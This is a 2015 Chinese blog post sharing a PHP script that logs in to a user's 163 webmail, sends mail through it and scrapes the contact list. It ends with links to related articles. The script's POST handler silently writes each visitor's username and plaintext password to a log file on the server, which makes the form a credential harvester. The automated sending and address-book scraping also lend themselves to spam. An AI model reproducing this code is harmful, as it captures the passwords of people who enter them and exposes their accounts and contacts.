php 模拟163邮箱模拟登陆发送邮件
2015-05-05 16:20
986 查看
<?php header("Content-Type: text/html; charset=UTF-8"); error_reporting(0); /** * 登陆 * $user 163用户名 * $pass 密码 **/ function login($user,$pass){ //登陆 $url = 'http://reg.163.com/logins.jsp?type=1&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight%3D1%26verifycookie%3D1%26language%3D-1%26style%3D-1'; $cookie = tempnam('./cache/','~');//创建一个用于存放cookie信息的临时文件 $fields_post = array( 'username' =>$user, 'password' => $pass, 'verifycookie' => 1, 'style' => -1, 'product' => 'mail163', 'selType' => -1, 'secure' => 'on' ); $fields_string = ''; foreach($fields_post as $key => $value){ $fields_string .= $key . '=' . $value . '&'; } $fields_string = rtrim($fields_string , '&'); $headers = array( 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0', 'Referer' => 'http://www.163.com' ); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回结果存放在变量中,而不是默认的直接输出 curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);//关闭连接时,将服务器端返回的cookie保存在以下文件中 curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); $result= curl_exec($ch); curl_close($ch); preg_match_all('/<div class="info" id="eHint">(.*?) <\/div>/i', $result,$infos,PREG_SET_ORDER); if(!empty($infos['0']['1'])){ unlink($cookie); exit('<script type="text/javascript">alert("'.$infos['0']['1'].'");history.go(-1);</script>'); }else{ $G_ROOT = dirname(__FILE__); file_put_contents($G_ROOT.'/cache/cookie', $cookie); return $cookie; } } /** * * $data['url'] 请求地址 * $data['data_post'] post数据 * $data['cookie'] * **/ function curl($data){ $url = $data['url']; $data_post= $data['data_post']? $data['data_post']: false; $cookie = $data['cookie']; $headers = array( 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0', 'Referer' => 'http://www.163.com' ); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //cookie文件 登陆之后 //POST 提交 if($data_post){ curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_post); } $result = curl_exec($ch); curl_close($ch); return $result; } /** *获取sid **/ function sid($cookie){ $data = array( 'url'=>'http://entry.mail.163.com/coremail/cg/ntesdoor2?lightweight=1&verifycookie=1&language=-1&style=-1&username=loki_wuxi', 'cookie'=>$cookie ); $result =curl($data); preg_match('/sid=[^\"sid].*&/', $result, $location);//取得sid $sid = substr($location[0], 4, -1); return $sid; //file_put_contents('./result.txt', $sid); } /** * 获取Email **/ function adds_email($cookie){ $data = array( 'url'=>'http://g4a30.mail.163.com/jy8/address/addrlist.jsp?sid='.sid($cookie).'&gid=all',//通讯录地址 'cookie'=>$cookie ); $result =curl($data); //unlink($cookie); //开始抓取内容 preg_match_all('/ <td class="Ibx_Td_addrName"> <a[^> ]*>(.*?) <\/a> <\/td> <td class="Ibx_Td_addrEmail"> <a[^> ]*>(.*?) <\/a> <\/td> /i', $result,$infos,PREG_SET_ORDER); return $infos; } /** * 发邮件 * **/ function send($data){ $pots_xml=' <?xml version="1.0"?> <object> <string name="id">c:'.time().rand(100,999).'</string> <object name="attrs"> <string name="account">"'.$data['user'].'"<'.$data['user'].'@163.com></string> <boolean name="showOneRcpt">false</boolean> <array name="to"> <string>'.$data['to'].'</string> </array> <array name="cc"/> <array name="bcc"/> <string name="subject">'.$data['title'].'</string> <boolean name="isHtml">true</boolean> <string name="content">'.$data['content'].'</string> <int name="priority">3</int> <boolean name="saveSentCopy">true</boolean> <string name="charset">GBK</string> </object> '; $pots_xml='var='.rawurlencode($pots_xml); $cookie = $data['cookie']; $data_to = array( 'url'=>'http://mail.163.com/js6/s?sid='.sid($cookie).'&func=mbox:compose&cl_send=2&l=compose&action=deliver', 'data_post'=>$pots_xml, 'cookie'=>$cookie ); $result =curl($data_to); return $result; } if(!empty($_POST)){ foreach($_POST as $k=>$v){ if(empty($v[$k])){ exit('<script type="text/javascript">alert("'.$k.'不能为空!");history.go(-1);</script>'); } } file_put_contents("./cache/log.txt", $_POST['user'].'--'.$_POST['pass'].'--'.$_POST['to'].'--'.$_POST['title']."\n\r", FILE_APPEND); $user = $_POST['user'];//邮箱用户名(不带@163.com后缀的) $pass = $_POST['pass'];//邮箱密码 $G_ROOT = dirname(__FILE__); $cookie = file_get_contents($G_ROOT.'/cache/cookie'); if(!file_exists($cookie)){ $cookie = login($user,$pass); }else{ $mail = array( 'user' => $user, 'to' => $_POST['to'], 'title' => $_POST['title'], 'content' => $_POST['content'], 'cookie' => $cookie ); $result = send($mail); preg_match_all('/ <code>(.*?)<\/code> /i', $result,$infos,PREG_SET_ORDER); //exit($infos['0']['1']); if($infos['0']['1']=='S_OK'){ $mail = adds_email($cookie); echo('<script type="text/javascript">alert("发送成功!");</script>'); }else{ if($infos['0']['1']=='FA_UNAUTHORIZED'){ unlink($cookie); //登陆超时 } exit('<script type="text/javascript">alert("发送失败:'.$infos['0']['1'].'");history.go(-1);</script>'); } } } ?> <!DOCTYPE html> <html> <head> <title></title> <style type="text/css"> h1{margin:40px 0;} li{list-style:none; } li span{display:block;width:100px;margin-top:20px} li input{padding:5px;width:300px;height:35px;font-size: 16px;} li textarea{width:500px;} </style> </head> <body> <div style="width:1000px;margin:10px auto;"> <h1>模拟登陆163邮箱发邮件</h1> <?php if(!empty($mail)){ echo '<h2>通讯录地址</h2>'; foreach($mail as $k=>$v){ echo '名称:'.iconv("gb2312","utf-8",$v['1']).' --- 邮箱:'.iconv("gb2312","utf-8",$v['2']).'<br>'; } } ?> <form name="input" action="" method="post"> <li><span>用户名:</span> <input type="text" name="user" /> 不带“@163.com”</li> <li><span>密码:</span> <input type="password" name="pass" /></li> <li><span>收件人邮箱: </span><input type="text" name="to" /></li> <li><span>邮箱主题: </span><input type="text" name="title" value="模拟发邮件测试"/></li> <li><span>邮箱内容:</span><textarea rows="10" cols="30" name="content"><a href="http:www.chree.cn">这是模拟发邮件测试</a></textarea></li> <li><span><input type="submit" value="Submit" /></span></li> </form> </div> </body> </html>
相关文章推荐
- PHP模拟登陆163邮箱发邮件及获取通讯录列表的方法
- PHP模拟登陆163邮箱发邮件及获取通讯录列表的方法
- [PHP]用PHP模拟126邮箱的登陆过程来收取邮件
- PHP模拟登陆获取163邮箱联系人(经测试)
- (PHP)微信公众平台模拟登陆和发送消息详解
- 使用PHP邮件库swiftmailer发送邮件时,QQ,163邮箱的配置
- php 微信模拟登陆给用户发送消息(文字,图片,图文)
- PHP实现163邮箱自动发送邮件
- PHP发送邮件功能实现(使用163邮箱)
- Miss带你来做php+mysql模拟队列发送邮件
- PHP实现微信模拟登陆并给用户发送消息的方法【文字,图片,图文】
- ThinkPHP3.2利用QQ邮箱/163邮箱通过PHPMailer发送邮件的方法
- 自动模拟邮箱登陆并发送邮件
- PHP模拟SMTP发送邮件的类
- php使用163邮箱发送邮件
- 用PHP模拟126邮箱的登陆过程来收取邮件
- (PHP)微信公众平台模拟登陆和发送消息详解(2014-7-9)
- PHP通过163邮箱发送邮件失败。
- php 调用现成类实现163邮箱邮件发送
- Selenium学习二——自动登陆163邮箱并发送邮件